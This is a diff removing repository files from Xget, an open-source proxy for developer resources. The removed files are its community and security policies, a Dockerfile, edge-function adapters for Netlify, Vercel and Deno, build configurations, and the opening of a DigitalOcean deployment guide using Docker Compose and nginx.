## Unacceptable behavior
|
||||
|
||||
- Harassment, intimidation, threats, or personal attacks
|
||||
- Discriminatory or demeaning language
|
||||
- Deliberate disruption, trolling, or bad-faith engagement
|
||||
- Publishing private information without explicit permission
|
||||
- Sexualized language or imagery in project spaces
|
||||
- Repeatedly ignoring project rules, review boundaries, or moderator direction
|
||||
|
||||
## Enforcement responsibilities
|
||||
|
||||
Project maintainers are responsible for clarifying and enforcing these
|
||||
standards. They may take any action they consider appropriate to protect the
|
||||
community, including editing or removing content, closing discussions, rejecting
|
||||
contributions, temporarily restricting participation, or permanently banning a
|
||||
participant from project spaces.
|
||||
|
||||
## Reporting concerns
|
||||
|
||||
If you experience or witness behavior that violates this code of conduct, report
|
||||
it privately to the maintainer using the contact information published on the
|
||||
maintainer contact page:
|
||||
|
||||
- <https://xi-xu.me/#contact>
|
||||
|
||||
Please include:
|
||||
|
||||
- A description of what happened
|
||||
- Links, screenshots, or other relevant evidence
|
||||
- When and where the incident occurred
|
||||
- Any immediate safety or privacy concerns
|
||||
|
||||
If the report concerns the current primary maintainer, use another private
|
||||
contact method listed on the same contact page, or GitHub's site-wide reporting
|
||||
tools when the incident took place on GitHub.
|
||||
|
||||
## Enforcement process
|
||||
|
||||
- Reports will be reviewed as confidentially as practical
|
||||
- Maintainers will investigate in good faith and evaluate context carefully
|
||||
- Outcomes may include a warning, content removal, temporary restriction, or
|
||||
permanent ban
|
||||
- Retaliation against someone for making a good-faith report is itself a code of
|
||||
conduct violation
|
||||
|
||||
## Project responsibility
|
||||
|
||||
Maintainers are expected to apply this policy fairly and consistently. Not every
|
||||
disagreement is a code of conduct violation, but behavior that makes the project
|
||||
unsafe, exclusionary, or hostile will be addressed.
|
||||
|
||||
## Attribution
|
||||
|
||||
This document is informed by the practices recommended by Open Source Guides and
|
||||
other established open source community standards.
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
# Contributing to Xget
|
||||
|
||||
Thank you for helping improve Xget. Contributions of all sizes are welcome,
|
||||
including bug reports, documentation improvements, test coverage, performance
|
||||
investigations, new platform support, and code changes.
|
||||
|
||||
Before you contribute, please read these repository documents:
|
||||
|
||||
- [README](README.md) for project scope, supported platforms, and deployment
|
||||
options
|
||||
- [Code of Conduct](CODE_OF_CONDUCT.md) for community expectations
|
||||
- [Security Policy](SECURITY.md) for responsible vulnerability reporting
|
||||
- [Governance](GOVERNANCE.md) for maintainer roles and decision-making
|
||||
|
||||
## Ways to contribute
|
||||
|
||||
- Report bugs with a minimal reproduction and clear expected behavior
|
||||
- Propose features that improve correctness, usability, observability, or
|
||||
maintainability
|
||||
- Improve documentation, examples, or deployment guidance
|
||||
- Add or expand automated tests
|
||||
- Validate behavior against real clients, registries, or upstream platforms
|
||||
|
||||
## Before opening an issue
|
||||
|
||||
- Search existing issues and pull requests first to avoid duplicates
|
||||
- Keep one report focused on one problem or one proposal
|
||||
- Include enough detail for someone else to reproduce the issue
|
||||
- Do not use public issues for security vulnerabilities; follow
|
||||
[`SECURITY.md`](SECURITY.md) instead
|
||||
|
||||
Useful details to include:
|
||||
|
||||
- The request URL or request shape that failed, with secrets removed
|
||||
- The upstream platform involved, such as GitHub, npm, Docker Hub, or OpenAI
|
||||
- Expected behavior and actual behavior
|
||||
- Steps to reproduce the problem
|
||||
- Logs, screenshots, or response headers when relevant
|
||||
- Your runtime or deployment environment, if it affects the issue
|
||||
|
||||
## Development setup
|
||||
|
||||
Xget uses Node.js and Wrangler for local development.
|
||||
|
||||
1. Install Node.js 24 and npm.
|
||||
2. Install dependencies with `npm ci`.
|
||||
3. Start the local worker with `npm run dev`.
|
||||
4. Run tests and checks before opening a pull request.
|
||||
|
||||
Common commands:
|
||||
|
||||
```bash
|
||||
npm run dev
|
||||
npm run lint
|
||||
npm run format:check
|
||||
npm run test:run
|
||||
npm run test:coverage
|
||||
npm run type-check
|
||||
```
|
||||
|
||||
## Repository layout
|
||||
|
||||
- `src/` contains the Worker entry point, request pipeline, protocol handlers,
|
||||
routing logic, upstream fetch helpers, and shared utilities
|
||||
- `test/` contains unit, feature, platform, and integration tests
|
||||
- `adapters/` contains deployment adapters for non-Workers targets
|
||||
- `docs/` contains longer-form operational and deployment documentation
|
||||
|
||||
## Pull request workflow
|
||||
|
||||
1. Fork the repository and create a branch from `main`.
|
||||
2. Keep the change focused. Avoid mixing unrelated fixes.
|
||||
3. Add or update tests when behavior changes.
|
||||
4. Update documentation when user-facing behavior, configuration, or supported
|
||||
platforms change.
|
||||
5. Run the local checks listed below before requesting review.
|
||||
6. Open a pull request using the repository template and explain the user impact
|
||||
clearly.
|
||||
|
||||
Required local checks:
|
||||
|
||||
```bash
|
||||
npm run lint
|
||||
npm run format:check
|
||||
npm run test:run
|
||||
npm run type-check
|
||||
```
|
||||
|
||||
If your change affects routing, headers, cache behavior, retries, security
|
||||
controls, or protocol compatibility, include test coverage for that behavior.
|
||||
|
||||
## Coding expectations
|
||||
|
||||
- Follow the existing project structure and naming conventions
|
||||
- Prefer small, reviewable changes over large mixed refactors
|
||||
- Preserve protocol compatibility for Git, Docker, AI, and package manager
|
||||
traffic
|
||||
- Avoid logging secrets, tokens, or private request data
|
||||
- Document new platform prefixes and examples in [`README.md`](README.md) when
|
||||
support is added
|
||||
|
||||
## Commit messages
|
||||
|
||||
This repository uses
|
||||
[Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/).
|
||||
Preferred format:
|
||||
|
||||
```text
|
||||
type(scope): description
|
||||
```
|
||||
|
||||
Examples:
|
||||
|
||||
- `feat(docker): normalize blob redirect handling`
|
||||
- `fix(routing): preserve crates search queries`
|
||||
- `docs(readme): clarify npm registry setup`
|
||||
|
||||
## Review and release expectations
|
||||
|
||||
- Maintainers review contributions on a best-effort basis
|
||||
- Large design changes should start with an issue before implementation
|
||||
- Merged changes may be edited, squashed, or followed up by maintainers to keep
|
||||
the project consistent
|
||||
- Acceptance of a contribution does not create an obligation for long-term
|
||||
support, backports, or maintenance
|
||||
|
||||
## Community standards
|
||||
|
||||
By participating in this project, you agree to follow
|
||||
[`CODE_OF_CONDUCT.md`](CODE_OF_CONDUCT.md). Please be respectful, assume good
|
||||
intent, and help keep the project welcoming for users and contributors from a
|
||||
wide range of backgrounds and experience levels.
|
||||
-40
@@ -1,40 +0,0 @@
|
||||
# --- Stage 1: build the Worker with Wrangler -----------------------
|
||||
FROM node:26-alpine AS builder
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Install dependencies & wrangler
|
||||
COPY package*.json wrangler.toml ./
|
||||
RUN npm ci
|
||||
|
||||
# Copy source and build
|
||||
COPY src ./src
|
||||
RUN npx wrangler deploy --dry-run --outdir=dist
|
||||
|
||||
# --- Stage 2: minimal runtime with workerd -------------------------
|
||||
FROM node:26-slim AS runtime
|
||||
ARG TARGETARCH
|
||||
|
||||
# Install ca-certificates for SSL, then install workerd via npm
|
||||
RUN apt-get update && \
|
||||
apt-get install -y ca-certificates && \
|
||||
rm -rf /var/lib/apt/lists/* && \
|
||||
case "${TARGETARCH}" in \
|
||||
amd64) WORKERD_PKG="@cloudflare/workerd-linux-64" ;; \
|
||||
arm64) WORKERD_PKG="@cloudflare/workerd-linux-arm64" ;; \
|
||||
*) echo "Unsupported TARGETARCH: ${TARGETARCH}" && exit 1 ;; \
|
||||
esac && \
|
||||
npm install -g "${WORKERD_PKG}" && \
|
||||
ln -s "/usr/local/lib/node_modules/${WORKERD_PKG}/bin/workerd" /usr/local/bin/workerd && \
|
||||
workerd --version
|
||||
|
||||
WORKDIR /worker
|
||||
|
||||
# Bring in the compiled Worker bundle and config
|
||||
COPY --from=builder /app/dist ./dist
|
||||
COPY config.capnp ./config.capnp
|
||||
|
||||
# Expose the port workerd listens on
|
||||
EXPOSE 8080
|
||||
|
||||
CMD ["workerd", "serve", "config.capnp"]
|
||||
@@ -1,70 +0,0 @@
|
||||
# Governance
|
||||
|
||||
## Governance model
|
||||
|
||||
Xget currently follows a maintainer-led governance model. The project is still
|
||||
small enough that a lightweight process works best, but decisions should remain
|
||||
transparent and open to community input.
|
||||
|
||||
## Current maintainer
|
||||
|
||||
- [Xi Xu](https://xi-xu.com)
|
||||
|
||||
The primary maintainer is responsible for project direction, releases, final
|
||||
review decisions, security response coordination, and enforcement of the
|
||||
[Code of Conduct](CODE_OF_CONDUCT.md).
|
||||
|
||||
## Roles
|
||||
|
||||
### Users
|
||||
|
||||
Users rely on the project, report issues, request features, and help validate
|
||||
behavior across environments.
|
||||
|
||||
### Contributors
|
||||
|
||||
Contributors improve the project through code, documentation, issue triage,
|
||||
testing, design feedback, translations, operational guidance, or community
|
||||
support.
|
||||
|
||||
### Maintainers
|
||||
|
||||
Maintainers are trusted contributors with additional responsibility for the
|
||||
health of the project. Maintainers may review and merge changes, shape project
|
||||
direction, manage releases, and coordinate responses to sensitive issues.
|
||||
|
||||
## Decision-making
|
||||
|
||||
- Day-to-day decisions are made through issues, pull requests, and maintainer
|
||||
review
|
||||
- Community input is encouraged for significant behavioral, API, governance, or
|
||||
deployment changes
|
||||
- Consensus is preferred when practical
|
||||
- When consensus is unclear, the primary maintainer has final decision-making
|
||||
authority
|
||||
|
||||
## Becoming a maintainer
|
||||
|
||||
Additional maintainers may be added as the project grows. The usual path is:
|
||||
|
||||
1. Make sustained, high-quality contributions over time
|
||||
2. Demonstrate good judgment, respectful collaboration, and project context
|
||||
3. Help with review, issue triage, documentation, or support beyond code alone
|
||||
4. Receive an invitation from the current maintainer
|
||||
|
||||
There is no automatic threshold for maintainer access. Trust, consistency, and
|
||||
care for the project matter more than contribution count alone.
|
||||
|
||||
## Project direction and releases
|
||||
|
||||
- The roadmap may evolve based on user needs, maintainer capacity, and platform
|
||||
changes
|
||||
- Maintainers may decline features that add long-term maintenance burden, reduce
|
||||
security, or broaden the scope beyond the core mission of Xget
|
||||
- Releases, backports, and support windows are managed on a best-effort basis
|
||||
|
||||
## Transparency
|
||||
|
||||
Important technical and product decisions should, whenever possible, be
|
||||
documented in public issues, pull requests, or repository documentation so the
|
||||
community can understand how the project is evolving.
|
||||
-2971
File diff suppressed because it is too large.
Load diff
-2971
File diff suppressed because it is too large.
Load diff
-64
@@ -1,64 +0,0 @@
|
||||
# Security Policy
|
||||
|
||||
Xget proxies requests across code hosting platforms, package registries,
|
||||
container registries, and AI inference providers. If you believe you have found
|
||||
a security vulnerability, please report it responsibly and avoid public
|
||||
disclosure until maintainers have had a chance to investigate.
|
||||
|
||||
## Supported versions
|
||||
|
||||
Security fixes are developed against the latest code on `main`. Backports to
|
||||
older revisions or downstream forks are not guaranteed.
|
||||
|
||||
| Version | Supported |
|
||||
| ------------------------------ | ---------------- |
|
||||
| `main` | Yes |
|
||||
| Older commits, tags, and forks | Best effort only |
|
||||
|
||||
## How to report a vulnerability
|
||||
|
||||
Please do not open a public GitHub issue for suspected vulnerabilities.
|
||||
|
||||
Instead, use one of these private channels:
|
||||
|
||||
1. GitHub private vulnerability reporting for this repository, if it is enabled
|
||||
2. The maintainer contact page at <https://xi-xu.me/#contact>
|
||||
|
||||
Please include as much of the following as you can:
|
||||
|
||||
- A clear description of the vulnerability
|
||||
- The affected code path, route shape, platform prefix, or deployment flow
|
||||
- Reproduction steps or a proof of concept
|
||||
- Impact assessment, including confidentiality, integrity, or availability
|
||||
concerns
|
||||
- Any suggested remediation, if you have one
|
||||
- Sanitized logs, headers, or payload samples with secrets removed
|
||||
|
||||
## What to expect
|
||||
|
||||
- Maintainers will acknowledge reports on a best-effort basis
|
||||
- Reports will be reviewed privately and handled confidentially where possible
|
||||
- Maintainers may ask follow-up questions to validate severity and scope
|
||||
- If the report is confirmed, maintainers will work toward a fix and coordinate
|
||||
a disclosure timeline
|
||||
|
||||
## Scope notes
|
||||
|
||||
The following are usually in scope:
|
||||
|
||||
- Vulnerabilities in Xget source code
|
||||
- Security weaknesses in official deployment manifests or adapters
|
||||
- Authentication, header forwarding, request validation, cache isolation, and
|
||||
secret handling issues
|
||||
|
||||
The following are usually out of scope unless Xget directly introduces them:
|
||||
|
||||
- Availability-only complaints caused by third-party outages
|
||||
- Misconfiguration in self-hosted deployments outside the repository defaults
|
||||
- Issues in upstream services that Xget only proxies
|
||||
|
||||
## Handling sensitive information
|
||||
|
||||
Do not include private tokens, credentials, or other secrets in public issues,
|
||||
pull requests, or discussion threads. If a proof of concept requires secrets,
|
||||
share them only through a private reporting channel and rotate them afterward.
|
||||
@@ -1,115 +0,0 @@
|
||||
/**
|
||||
* Xget - High-performance acceleration engine for developer resources
|
||||
* Copyright (C) Xi Xu
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU Affero General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Affero General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Affero General Public License
|
||||
* along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import { handleRequest } from '../../../src/app/handle-request.js';
|
||||
|
||||
/**
|
||||
* @typedef {{
|
||||
* ALLOWED_METHODS?: string,
|
||||
* ALLOWED_ORIGINS?: string,
|
||||
* CACHE_DURATION?: string,
|
||||
* MAX_PATH_LENGTH?: string,
|
||||
* MAX_RETRIES?: string,
|
||||
* RETRY_DELAY_MS?: string,
|
||||
* TIMEOUT_SECONDS?: string
|
||||
* }} RuntimeEnv
|
||||
*/
|
||||
|
||||
/**
|
||||
* @typedef {{
|
||||
* env?: RuntimeEnv,
|
||||
* geo?: unknown,
|
||||
* ip?: string,
|
||||
* waitUntil?: (promise: Promise<unknown>) => void
|
||||
* }} FunctionAdapterContext
|
||||
*/
|
||||
|
||||
/**
|
||||
* Edge Function handler.
|
||||
* @param {Request} request - Standard Web API Request object
|
||||
* @param {FunctionAdapterContext} [context] - Platform-specific context (Netlify only)
|
||||
* @returns {Promise<Response>} Standard Web API Response
|
||||
* @example
|
||||
* // Netlify invokes with context
|
||||
* handler(request, { geo: {...}, ip: '1.2.3.4', env: {...}, waitUntil: fn })
|
||||
* @example
|
||||
* // Vercel invokes without context
|
||||
* handler(request)
|
||||
*/
|
||||
export default async function handler(request, context) {
|
||||
const runtimeContext = context || /** @type {FunctionAdapterContext} */ ({});
|
||||
|
||||
// Detect runtime environment
|
||||
const isNetlify = runtimeContext.geo !== undefined || runtimeContext.ip !== undefined;
|
||||
|
||||
// Normalize environment variables
|
||||
// Netlify provides context.env, Vercel Edge uses globalThis
|
||||
/** @type {RuntimeEnv} */
|
||||
let envSource;
|
||||
if (isNetlify) {
|
||||
envSource = runtimeContext.env || {};
|
||||
} else if (typeof process !== 'undefined' && process.env) {
|
||||
// Vercel or Node.js environment
|
||||
envSource = process.env;
|
||||
} else {
|
||||
// Fallback for other environments
|
||||
envSource = {};
|
||||
}
|
||||
|
||||
const env = {
|
||||
TIMEOUT_SECONDS: envSource.TIMEOUT_SECONDS,
|
||||
MAX_RETRIES: envSource.MAX_RETRIES,
|
||||
RETRY_DELAY_MS: envSource.RETRY_DELAY_MS,
|
||||
CACHE_DURATION: envSource.CACHE_DURATION,
|
||||
ALLOWED_METHODS: envSource.ALLOWED_METHODS,
|
||||
ALLOWED_ORIGINS: envSource.ALLOWED_ORIGINS,
|
||||
MAX_PATH_LENGTH: envSource.MAX_PATH_LENGTH
|
||||
};
|
||||
|
||||
// Create normalized execution context
|
||||
const waitUntil = isNetlify && runtimeContext.waitUntil ? runtimeContext.waitUntil : null;
|
||||
const ctx = {
|
||||
waitUntil: waitUntil
|
||||
? /**
|
||||
* Forwards background work in runtimes that support waitUntil.
|
||||
* @param {Promise<unknown>} promise
|
||||
*/
|
||||
promise => waitUntil(promise)
|
||||
: (
|
||||
/** @type {Promise<unknown>} */
|
||||
_promise
|
||||
) => {
|
||||
void _promise;
|
||||
// No-op on Vercel: background tasks not supported
|
||||
// Cache writes will run synchronously instead
|
||||
console.warn('waitUntil is not supported in Vercel Edge Runtime');
|
||||
},
|
||||
passThroughOnException: () => {
|
||||
// Not supported on either platform in this context
|
||||
console.warn('passThroughOnException is not universally supported');
|
||||
}
|
||||
};
|
||||
|
||||
// Delegate to the main request handler
|
||||
return handleRequest(request, env, ctx);
|
||||
}
|
||||
|
||||
// Vercel Edge Runtime configuration (ignored by Netlify)
|
||||
export const config = {
|
||||
runtime: 'edge'
|
||||
};
|
||||
@@ -1,71 +0,0 @@
|
||||
/**
|
||||
* Xget - High-performance acceleration engine for developer resources
|
||||
* Copyright (C) Xi Xu
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU Affero General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Affero General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Affero General Public License
|
||||
* along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/* eslint-disable no-undef */
|
||||
|
||||
import { handleRequest } from '../../src/app/handle-request.js';
|
||||
|
||||
/**
|
||||
* Deno Deploy handler.
|
||||
*
|
||||
* This is the entry point for Deno Deploy deployments. It uses the
|
||||
* standard Deno.serve() API to handle incoming HTTP requests.
|
||||
* @param {Request} request - Standard Web API Request object
|
||||
* @returns {Promise<Response>} Standard Web API Response
|
||||
* @example
|
||||
* // Deno Deploy invokes automatically:
|
||||
* // Deno.serve((request) => handler(request))
|
||||
*/
|
||||
async function handler(request) {
|
||||
// Extract environment variables from Deno.env
|
||||
const env = {
|
||||
TIMEOUT_SECONDS: Deno.env.get('TIMEOUT_SECONDS'),
|
||||
MAX_RETRIES: Deno.env.get('MAX_RETRIES'),
|
||||
RETRY_DELAY_MS: Deno.env.get('RETRY_DELAY_MS'),
|
||||
CACHE_DURATION: Deno.env.get('CACHE_DURATION'),
|
||||
ALLOWED_METHODS: Deno.env.get('ALLOWED_METHODS'),
|
||||
ALLOWED_ORIGINS: Deno.env.get('ALLOWED_ORIGINS'),
|
||||
MAX_PATH_LENGTH: Deno.env.get('MAX_PATH_LENGTH')
|
||||
};
|
||||
|
||||
// Create minimal ExecutionContext-like object
|
||||
// Deno Deploy doesn't support waitUntil, so cache writes are synchronous
|
||||
const ctx = {
|
||||
waitUntil: (
|
||||
/** @type {Promise<unknown>} */
|
||||
promise
|
||||
) => {
|
||||
void promise;
|
||||
// No-op on Deno: background tasks not supported
|
||||
console.warn('waitUntil is not supported in Deno Deploy');
|
||||
},
|
||||
passThroughOnException: () => {
|
||||
console.warn('passThroughOnException is not supported in Deno Deploy');
|
||||
}
|
||||
};
|
||||
|
||||
// Delegate to the main request handler
|
||||
return handleRequest(request, env, ctx);
|
||||
}
|
||||
|
||||
// Start the server only when executing inside Deno.
|
||||
if (typeof Deno !== 'undefined' && typeof Deno.serve === 'function') {
|
||||
Deno.serve(handler);
|
||||
}
|
||||
|
||||
export { handler };
|
||||
@@ -1,6 +0,0 @@
|
||||
[[edge_functions]]
|
||||
function = "edge-handler"
|
||||
path = "/*"
|
||||
|
||||
[build]
|
||||
publish = "."
|
||||
@@ -1,22 +0,0 @@
|
||||
/**
|
||||
* Xget - High-performance acceleration engine for developer resources
|
||||
* Copyright (C) Xi Xu
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU Affero General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*/
|
||||
|
||||
/**
|
||||
* Netlify Edge Function entry point.
|
||||
*
|
||||
* This file serves as a redirect to the edge function handler
|
||||
* located at /api/index.js. Both Netlify and Vercel can use the same
|
||||
* handler code, with platform detection handling the differences.
|
||||
*
|
||||
* Netlify requires edge functions to be in netlify/edge-functions/,
|
||||
* while Vercel uses /api/ directory. This approach maintains a single
|
||||
* source of truth at /api/index.js.
|
||||
*/
|
||||
export { config, default } from '../../api/index.js';
|
||||
@@ -1,14 +0,0 @@
|
||||
{
|
||||
"name": "xget",
|
||||
"type": "module",
|
||||
"private": false,
|
||||
"scripts": {
|
||||
"dev": "vercel dev",
|
||||
"deploy": "vercel --prod",
|
||||
"vercel-build": "echo 'No build step required'"
|
||||
},
|
||||
"dependencies": {},
|
||||
"devDependencies": {
|
||||
"@vercel/node": "^3.0.0"
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
{
|
||||
"$schema": "https://openapi.vercel.sh/vercel.json",
|
||||
"name": "xget",
|
||||
"version": 2,
|
||||
"rewrites": [
|
||||
{
|
||||
"source": "/(.*)",
|
||||
"destination": "/api/index.js"
|
||||
}
|
||||
],
|
||||
"headers": [
|
||||
{
|
||||
"source": "/(.*)",
|
||||
"headers": [
|
||||
{
|
||||
"key": "X-Powered-By",
|
||||
"value": "Xget/Vercel"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
#:schema node_modules/wrangler/config-schema.json
|
||||
name = "xget"
|
||||
pages_build_output_dir = "."
|
||||
compatibility_date = "2024-10-22"
|
||||
compatibility_flags = ["nodejs_compat"]
|
||||
-33
@@ -1,33 +0,0 @@
|
||||
codecov:
|
||||
require_ci_to_pass: true
|
||||
strict_yaml_branch: main
|
||||
|
||||
coverage:
|
||||
precision: 2
|
||||
round: down
|
||||
range: 0..100
|
||||
status:
|
||||
project:
|
||||
default:
|
||||
target: auto
|
||||
threshold: 0.5%
|
||||
patch:
|
||||
default:
|
||||
target: 85%
|
||||
threshold: 2%
|
||||
|
||||
ignore:
|
||||
- "test/**"
|
||||
- "coverage/**"
|
||||
- "docs/**"
|
||||
- "adapters/**"
|
||||
- "scripts/**"
|
||||
- ".github/**"
|
||||
- "*.config.js"
|
||||
- "*.config.mjs"
|
||||
|
||||
comment:
|
||||
layout: "condensed_header, condensed_files, condensed_footer"
|
||||
behavior: default
|
||||
require_changes: false
|
||||
hide_project_coverage: false
|
||||
@@ -1,3 +0,0 @@
|
||||
export default {
|
||||
extends: ['@commitlint/config-conventional']
|
||||
};
|
||||
@@ -1,20 +0,0 @@
|
||||
using Workerd = import "/workerd/workerd.capnp";
|
||||
|
||||
const config :Workerd.Config = (
|
||||
services = [
|
||||
(name = "main", worker = .worker),
|
||||
],
|
||||
sockets = [
|
||||
(service = "main", name = "http", address = "*:8080", http = ()),
|
||||
],
|
||||
);
|
||||
|
||||
const worker :Workerd.Worker = (
|
||||
modules = [
|
||||
(name = "worker", esModule = embed "dist/index.js"),
|
||||
],
|
||||
# Match the compatibility_date in wrangler.toml
|
||||
compatibilityDate = "2024-10-22",
|
||||
# Enable Node.js compatibility to match wrangler.toml
|
||||
compatibilityFlags = ["nodejs_compat"],
|
||||
);
|
||||
@@ -1,4 +0,0 @@
|
||||
{
|
||||
"url": "https://context7.com/xixu-me/xget",
|
||||
"public_key": "pk_QCYc6a8nDxXWqj3AbTdUR"
|
||||
}
|
||||
@@ -1,411 +0,0 @@
|
||||
# Deploying and Optimizing Xget on DigitalOcean
|
||||
|
||||
Xget itself is shipped as a container image, so it fits very naturally into
|
||||
DigitalOcean’s ecosystem (Droplets, App Platform, Kubernetes, and Container
|
||||
Registry).
|
||||
|
||||
This guide explains how to run Xget efficiently on DigitalOcean and how to
|
||||
design a simple, robust acceleration layer for your team.
|
||||
|
||||
## 1. Which DigitalOcean product should I use for Xget?
|
||||
|
||||
Depending on your scale and operations model, you can pick one of these typical
|
||||
setups:
|
||||
|
||||
| Scenario | Recommended option | Characteristics |
|
||||
| ------------------------------------------- | ------------------------------ | ------------------------------------------------------------------- |
|
||||
| Personal / small team, simple traffic | Droplet + Docker Compose | Lowest cost, closest to the official self-hosting examples |
|
||||
| Small / mid-size team, prefer fully managed | App Platform (container mode) | Automatic HTTPS, deployments, and autoscaling |
|
||||
| Large team / enterprise, complex traffic | DigitalOcean Kubernetes (DOKS) | Most flexible; supports fine-grained scaling and rollout strategies |
|
||||
|
||||
You can also use DigitalOcean Container Registry (DOCR) for your own Xget builds
|
||||
or to host business images that Xget will accelerate.
|
||||
|
||||
## 2. Option 1: Droplet + Docker Compose (closest to "plain" self-hosting)
|
||||
|
||||
### 2.1 Prerequisites
|
||||
|
||||
1. **Create a Droplet**
|
||||
- Recommended OS: Ubuntu 22.04 / 24.04 LTS.
|
||||
- Size suggestions:
|
||||
- Personal / small team: 1 vCPU / 1–2 GB RAM to start with.
|
||||
- High concurrent downloads: prefer Premium Intel/AMD or CPU-Optimized
|
||||
Droplets.
|
||||
|
||||
- Region: pick a region close to your main users or to upstream services
|
||||
(e.g., GitHub, GHCR, DOCR).
|
||||
|
||||
2. **Configure DNS**
|
||||
|
||||
In DigitalOcean DNS, create a record, for example:
|
||||
- `xget.example.com` → your Droplet’s public IP address.
|
||||
|
||||
3. **Install Docker & Docker Compose (example on Ubuntu)**
|
||||
|
||||
```bash
|
||||
# Update system
|
||||
sudo apt update && sudo apt upgrade -y
|
||||
|
||||
# Install dependencies
|
||||
sudo apt install -y ca-certificates curl gnupg
|
||||
|
||||
# Docker’s official GPG key and repo
|
||||
sudo install -m 0755 -d /etc/apt/keyrings
|
||||
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
|
||||
sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
|
||||
|
||||
echo \
|
||||
"deb [arch=$(dpkg --print-architecture) \
|
||||
signed-by=/etc/apt/keyrings/docker.gpg] \
|
||||
https://download.docker.com/linux/ubuntu \
|
||||
$(lsb_release -cs) stable" | \
|
||||
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
|
||||
|
||||
sudo apt update
|
||||
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
|
||||
|
||||
# Allow current user to run docker without sudo (optional)
|
||||
sudo usermod -aG docker $USER
|
||||
```
|
||||
|
||||
Log out and back in so group changes take effect.
|
||||
|
||||
### 2.2 Deploy Xget using Docker Compose
|
||||
|
||||
Based on the self-hosting examples in the Xget README, it’s recommended to
|
||||
manage the container via Docker Compose.
|
||||
|
||||
1. **Create a directory and `docker-compose.yml`:**
|
||||
|
||||
```bash
|
||||
mkdir -p ~/xget && cd ~/xget
|
||||
```
|
||||
|
||||
```yaml
|
||||
# docker-compose.yml
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
xget:
|
||||
image: ghcr.io/xixu-me/xget:latest
|
||||
container_name: xget
|
||||
# Bind only to 127.0.0.1; expose via reverse proxy
|
||||
ports:
|
||||
- '127.0.0.1:8080:8080'
|
||||
restart: unless-stopped
|
||||
```
|
||||
|
||||
2. **Bring up the service:**
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Now Xget is running inside the Droplet on `127.0.0.1:8080`.
|
||||
|
||||
### 2.3 Expose HTTPS via nginx + Let’s Encrypt
|
||||
|
||||
Instead of exposing port 8080 directly, run nginx on the Droplet as a reverse
|
||||
proxy with HTTPS.
|
||||
|
||||
1. **Install nginx and Certbot:**
|
||||
|
||||
```bash
|
||||
sudo apt install -y nginx certbot python3-certbot-nginx
|
||||
```
|
||||
|
||||
2. **Request a certificate (example: `xget.example.com`):**
|
||||
|
||||
```bash
|
||||
sudo certbot --nginx -d xget.example.com
|
||||
```
|
||||
|
||||
3. **Configure reverse proxy**
|
||||
|
||||
Certbot will create a `server` block for you. You can adapt/add configuration
|
||||
like:
|
||||
|
||||
```nginx
|
||||
server {
|
||||
listen 80;
|
||||
server_name xget.example.com;
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl http2;
|
||||
server_name xget.example.com;
|
||||
|
||||
# ssl_certificate / ssl_certificate_key and related settings
|
||||
# are usually injected by Certbot automatically.
|
||||
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# Longer timeouts for big downloads
|
||||
proxy_read_timeout 600s;
|
||||
proxy_send_timeout 600s;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
4. **Reload nginx:**
|
||||
|
||||
```bash
|
||||
sudo nginx -t
|
||||
sudo systemctl reload nginx
|
||||
```
|
||||
|
||||
Now users can access Xget via `https://xget.example.com` through nginx → Xget
|
||||
container.
|
||||
|
||||
### 2.4 Harden security with DigitalOcean Cloud Firewall
|
||||
|
||||
To reduce attack surface and abuse risk:
|
||||
|
||||
- In Cloud Firewalls:
|
||||
- Allow inbound only: `22` (SSH), `80` (HTTP) and `443` (HTTPS).
|
||||
- Do _not_ expose `8080` to the public Internet.
|
||||
|
||||
- If needed, further restrict:
|
||||
- Only allow company office IP ranges or CI/CD nodes.
|
||||
- Combine with a VPN or other gateway if you need more control.
|
||||
|
||||
## 3. Option 2: DigitalOcean App Platform (fully managed)
|
||||
|
||||
App Platform can run Xget directly from a container image or source code repo.
|
||||
It handles load balancing, TLS, and autoscaling for you, which is great if you
|
||||
don’t want to manage servers.
|
||||
|
||||
### 3.1 Basic flow
|
||||
|
||||
1. **Prepare the container image**
|
||||
|
||||
Two common options:
|
||||
- Use the official image: `ghcr.io/xixu-me/xget:latest`
|
||||
